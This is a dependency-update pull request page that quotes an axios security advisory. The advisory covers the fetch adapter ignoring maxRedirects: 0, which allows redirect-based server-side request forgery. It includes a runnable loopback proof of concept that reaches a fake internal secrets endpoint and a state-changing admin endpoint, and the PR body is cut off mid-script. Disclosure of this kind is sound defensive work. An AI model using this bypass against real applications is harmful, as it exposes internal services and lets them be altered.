Axios exposes maxRedirects to limit redirect following, and maxRedirects: 0 is used by applications as a redirect-based SSRF guard. The Node HTTP adapter enforces this option. The fetch adapter does not read it and does not set a Fetch API redirect mode, so the runtime default of redirect: 'follow' applies.

Applications are affected when they rely on maxRedirects: 0 and use the fetch adapter, either explicitly or because the runtime selects it.

Impact

An attacker who controls the initial URL or a redirecting server can cause a fetch-adapter request to follow a redirect even though the caller configured maxRedirects: 0. If the redirect target is reachable only from the application environment, this can expose internal responses or trigger state-changing internal endpoints.

This should not be described as unconditional SSRF. The bypass requires a redirect source, such as an attacker-controlled server or open redirect, and an application that trusted maxRedirects: 0 as the redirect guard.

Affected Functionality

Affected:

  • adapter: 'fetch'.
  • Runtime environments where fetch is selected by adapter resolution.
  • Requests configured with maxRedirects: 0 but without fetchOptions.redirect: 'manual' or equivalent runtime-specific redirect control.

Not affected:

  • Node HTTP adapter, which enforces maxRedirects: 0.
  • Requests that do not follow redirects in the underlying fetch implementation because the caller explicitly configured fetch redirect behavior.
Technical Details

lib/adapters/fetch.js destructures many fields from resolveConfig(config), but not maxRedirects. It then builds fetch options without a redirect key:

const resolvedOptions = {
  ...fetchOptions,
  signal: composedSignal,
  method: method.toUpperCase(),
  headers: toByteStringHeaderObject(headers.normalize()),
  body: data,
  duplex: 'half',
  credentials: isCredentialsSupported ? withCredentials : undefined,
};

Because redirect is absent, the Fetch API default is to follow redirects.

Local verification on axios 1.18.1 showed the HTTP adapter throwing with maxRedirects: 0, while the fetch adapter followed the same loopback 302 and returned the internal response.

Proof of Concept of Attack

Constrained local demonstration:

  1. Start server A that returns 302 Location: http://127.0.0.1:<server-b>/internal.
  2. Start server B that returns INTERNAL.
  3. Compare:
await axios.get(serverA, { adapter: 'http', maxRedirects: 0 });  // throws
await axios.get(serverA, { adapter: 'fetch', maxRedirects: 0 }); // returns INTERNAL
Workarounds

For fetch-adapter requests, set fetchOptions: { redirect: 'manual' } where the runtime supports it, or use the Node HTTP adapter for requests that rely on axios redirect limits.

Original report

Summary

Axios 1.17.0 exposes maxRedirects as a configuration option to limit redirect following, and setting it to 0 is a documented pattern for preventing redirect-based SSRF. The HTTP adapter enforces this via follow-redirects. The fetch adapter does not read maxRedirects at all - it passes requests to the underlying fetch() call with no redirect option, which defaults to 'follow', so redirects are followed by the runtime rather than being constrained by axios maxRedirects.

In the attached PoC, a request issued with maxRedirects: 0 and adapter: 'fetch' follows a 302 redirect to an internal service and returns its response, while the same request with adapter: 'http' correctly throws. A second bypass case demonstrates that the redirect can reach a state-changing internal endpoint, not just read-only ones, proving both confidentiality and integrity impact.

This affects any application that sets maxRedirects: 0 as a redirect guard and runs in an environment where the fetch adapter is active: Deno, Bun, Cloudflare Workers, or Node.js with adapter: 'fetch' set explicitly.

Details

The fetch adapter destructures config fields from resolveConfig at lib/adapters/fetch.js:

let {
  url, method, data, signal, cancelToken, timeout,
  onDownloadProgress, onUploadProgress, responseType,
  headers, withCredentials, fetchOptions,
  maxContentLength, maxBodyLength,
} = resolveConfig(config);
// maxRedirects is not extracted

The options object passed to fetch() has no redirect key:

const resolvedOptions = {
  ...fetchOptions,       // redirect only set here if caller explicitly passes fetchOptions.redirect
  signal: composedSignal,
  method: method.toUpperCase(),
  headers: toByteStringHeaderObject(headers.normalize()),
  body: data,
  duplex: 'half',
  credentials: isCredentialsSupported ? withCredentials : undefined,
};

Because no redirect key is present, the Fetch API default of redirect: 'follow' applies, so redirects are handled by the runtime rather than constrained by axios maxRedirects. The HTTP adapter, by contrast, delegates to follow-redirects, which reads maxRedirects, enforces the cap, and strips Authorization, Cookie, and Proxy-Authorization on cross-origin redirects.

The discrepancy between adapters is not documented. The threat model covers credential stripping on redirects (T-R2) and cites follow-redirects as the mitigation, but makes no mention that the fetch adapter does not participate in this mitigation. See: https://github.com/axios/axios/blob/master/THREATMODEL.md#t-r2-credential-leakage-on-cross-origin-redirect

The behaviour difference between adapters is summarised below:

Behaviour HTTP adapter Fetch adapter
Reads config.maxRedirects Yes No
Enforces maxRedirects: 0 Yes -- throws on any redirect No -- follows silently
Strips Authorization cross-origin Yes (follow-redirects >=1.15.8) Runtime-dependent
Strips Cookie cross-origin Yes Runtime-dependent
When is the fetch adapter selected?
  • Deno, Bun, Cloudflare Workers: no Node.js http module available; the adapter list falls through to 'fetch'
  • Explicit config: axios.get(url, { adapter: 'fetch' })
  • Custom adapter list: axios.create({ adapter: ['fetch'] })
PoC
import http from 'http';
import axios from './index.js';

// Server A: the "trusted" external target, issues open redirects to Server B
const serverA = http.createServer((req, res) => {
  if (req.url === '/api/data') {
    res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/secrets' });
    return res.end();
  }
  if (req.url === '/api/change-config') {
    res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/admin/config' });
    return res.end();
  }
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end(JSON.stringify({ ok: true }));
});

let internalHits = 0;
let internalConfig = {};

// Server B: the "internal" service, should be unreachable from the application
const serverB = http.createServer(async (req, res) => {
  internalHits++;

  if (req.url === '/internal/secrets') {
    res.writeHead(200, { 'Content-Type': 'application/json' });
    return res.end(JSON.stringify({
      secret: 'FAKE_AWS_SECRET_ACCESS_KEY_FOR_POC_ONLY',
      role:   'arn:aws:iam::000000000000:role/FakeProductionRole',
    }));
  }

  if (req.url === '/internal/admin/config') {
    internalConfig = { compromised: true, source: 'redirect-followed-by-fetch-adapter' };
    res.writeHead(200, { 'Content-Type': 'application/json' });
    return res.end(JSON.stringify({
      reached: 'state-changing internal admin endpoint',
      changed: true,
      internalConfig,
    }));
  }

  res.writeHead(404);
  res.end();
});

await Promise.all([
  new Promise((resolve, reject) => { serverA.listen(13801, '127.0.0.1', resolve); serverA.on('error', reject); }),
  new Promise((resolve, reject) => { serverB.listen(13802, '127.0.0.1', resolve); serverB.on('error', reject); }),
]);

const targetUrl    = 'http://127.0.0.1:13801/api/data';
const changeUrl    = 'http://127.0.0.1:13801/api/change-config';
const internalUrl  = 'http://127.0.0.1:13802/internal/secrets';
const internalCfg  = 'http://127.0.0.1:13802/internal/admin/config';

console.log('Axios maxRedirects bypass via fetch adapter PoC');
console.log(`axios VERSION=${axios.VERSION}`);
console.log(`maxRedirects=0`);
console.log(`Target URL=${targetUrl}`);
console.log(`  redirects to ${internalUrl}`);
console.log(`Change URL=${changeUrl}`);
console.log(`  redirects to ${internalCfg}`);
console.log('');

// CONTROL: HTTP adapter correctly enforces maxRedirects: 0
let httpBlocked = false;
try {
  await axios.get(targetUrl, { maxRedirects: 0, adapter: 'http' });
  console.log('[CONTROL]  HTTP adapter + maxRedirects:0  BUG: should have thrown');
} catch (err) {
  httpBlocked = true;
  console.log(`[CONTROL]  HTTP adapter + maxRedirects:0  correctly blocked redirect ✓ (${err.code ?? err.message})`);
}
console.log(`[CONTROL]  Internal hits after HTTP adapter: ${internalHits}`);

// BYPASS: Fetch adapter silently ignores maxRedirects: 0
let fetchResponse = null;
try {
  fetchResponse = await axios.get(targetUrl, { maxRedirects: 0, adapter: 'fetch' });
  console.log('[BYPASS]   Fetch adapter + maxRedirects:0  SSRF succeeded ✗');
  console.log('           Response:', JSON.stringify(fetchResponse.data));
} catch (err) {
  console.log('[BYPASS]   Fetch adapter + maxRedirects:0  redirect blocked (unexpected):', err.message);
}
console.log(`[BYPASS]   Internal hits after fetch adapter: ${internalHits}`);

// BYPASS: Fetch adapter follows redirect to state-changing internal endpoint
let changedResponse = null;
try {
  changedResponse = await axios.get(changeUrl, { maxRedirects: 0, adapter: 'fetch' });
  console.log('[BYPASS]   Fetch adapter state change:', JSON.stringify(changedResponse.data));
  console.log(`[BYPASS]   Internal hits after state change: ${internalHits}`);
} catch (err) {
  console.log('[BYPASS]   State change request blocked (unexpected):', err.message);
}

console.log('');

if (httpBlocked && fetchResponse && changedResponse) {
  console.log('POC RESULT: fetch adapter followed redirects despite maxRedirects:0,');
  console.log('            reaching internal service and mutating internal state.');
} else if (httpBlocked && fetchResponse) {
  console.log('POC RESULT: fetch adapter followed redirect despite maxRedirects:0,');
  console.log('            reaching internal service that should have been unreachable.');
} else if (!httpBlocked) {
  console.log('POC RESULT: HTTP adapter did not block redirect -- unexpected, check axios version.');
} else {
  console

> [!IMPORTANT]
> ✂ PR body was truncated to here.

@alwaysmeticulous

alwaysmeticulous Bot commented Oct 25, 2026 •

Copy link
Copy Markdown

✅ Meticulous spotted 0 visual differences across 32 screens tested: view results.

Meticulous evaluated ~4 hours of user flows against your PR.

Expected differences? Click here. Last updated for commit 901db3a chore(deps): update dependency axios@>=1.0.0 <1.13.5 to v1.20.0 [securit.... This comment will update as new commits are pushed.

This branch was successfully deployed

1 active deployment
Preview – parca-ui — 7296700b Deployed Oct 26, 2026 by vercel[bot]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants